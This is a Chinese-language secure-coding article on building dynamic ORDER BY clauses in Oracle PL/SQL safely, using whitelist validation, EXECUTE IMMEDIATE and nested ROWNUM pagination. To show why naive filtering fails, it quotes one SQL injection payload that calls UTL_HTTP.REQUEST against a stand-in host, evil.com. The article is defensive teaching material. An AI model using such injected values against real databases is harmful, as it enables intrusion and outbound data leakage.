Oracle PL/SQL中ORDER BY不能直接用变量替换，因其后需标识符而非值，绑定变量仅支持值绑定，故必须通过白名单校验后动态拼接+EXECUTE IMMEDIATE执行。
直接说结论：用 ORDER BY 拼接 + EXECUTE IMMEDIATE 是唯一可行路径，但必须严格校验排序字段和方向，否则极易触发 SQL 注入或运行时错误。
为什么不能直接用变量替换 ORDER BY 字段
Oracle PL/SQL 不允许在静态 SQL 中把列名、表名、排序方向（ASC/DESC）写成绑定变量。下面这种写法会报错：
SELECT * FROM emp ORDER BY :sort_col :sort_dir
因为 :sort_col 和 :sort_dir 是值，不是语法结构；而 ORDER BY 后要求的是标识符（identifier）或表达式，不是值。
常见错误现象包括：PLS-00306: wrong number or types of arguments 或 ORA-00904: invalid identifier —— 实际是解析阶段就失败了，根本没到执行。
动态拼接排序部分的实操要点
核心是手动构造 SQL 字符串，再用 EXECUTE IMMEDIATE 执行。关键在于「白名单校验」，而非简单拼接：
- 排序字段名必须从预定义白名单中取，比如
VALID_SORT_COLS SYS.ODCIVARCHAR2LIST := SYS.ODCIVARCHAR2LIST('EMPNO', 'ENAME', 'HIREDATE', 'SAL') - 排序方向只接受
'ASC'或'DESC'，且需UPPER()统一后比对，忽略大小写 - 字段名必须用双引号包裹（如
"ENAME"），防止关键字冲突或大小写敏感问题（尤其当表启用了混合大小写标识符时） - 不要用
REPLACE()或字符串截断做“过滤”，那挡不住恶意输入，比如传入'ENAME" ASC, 1=UTL_HTTP.REQUEST("evil.com") -- '
示例片段：
IF sort_col MEMBER OF VALID_SORT_COLS AND UPPER(sort_dir) IN ('ASC', 'DESC') THEN
sql_stmt := 'SELECT * FROM emp ORDER BY "' || sort_col || '" ' || UPPER(sort_dir);
EXECUTE IMMEDIATE sql_stmt BULK COLLECT INTO result_set;
ELSE
RAISE_APPLICATION_ERROR(-20001, 'Invalid sort column or direction');
END IF;带分页时如何安全集成动态排序
分页 + 动态排序是最容易出错的组合。错误做法是先拼 ORDER BY 再套 ROWNUM 伪列，这会导致排序失效（ROWNUM 分配发生在排序前）。
正确结构必须是三层嵌套：
- 最内层：原始查询 +
ORDER BY（动态拼出） - 中间层：给结果加
ROWNUM AS rnum - 最外层：用
rnum BETWEEN :start AND :end过滤
注意：整个三层 SQL 都要由 PL/SQL 拼出来，不能只拼内层——否则外层无法感知排序字段变化，绑定变量位置也易错乱。
容易被忽略的一点：ORDER BY 中若含表达式（如 UPPER(ename)），必须确保该表达式也在白名单中，且拼接时不做任何未经验证的用户输入代入。
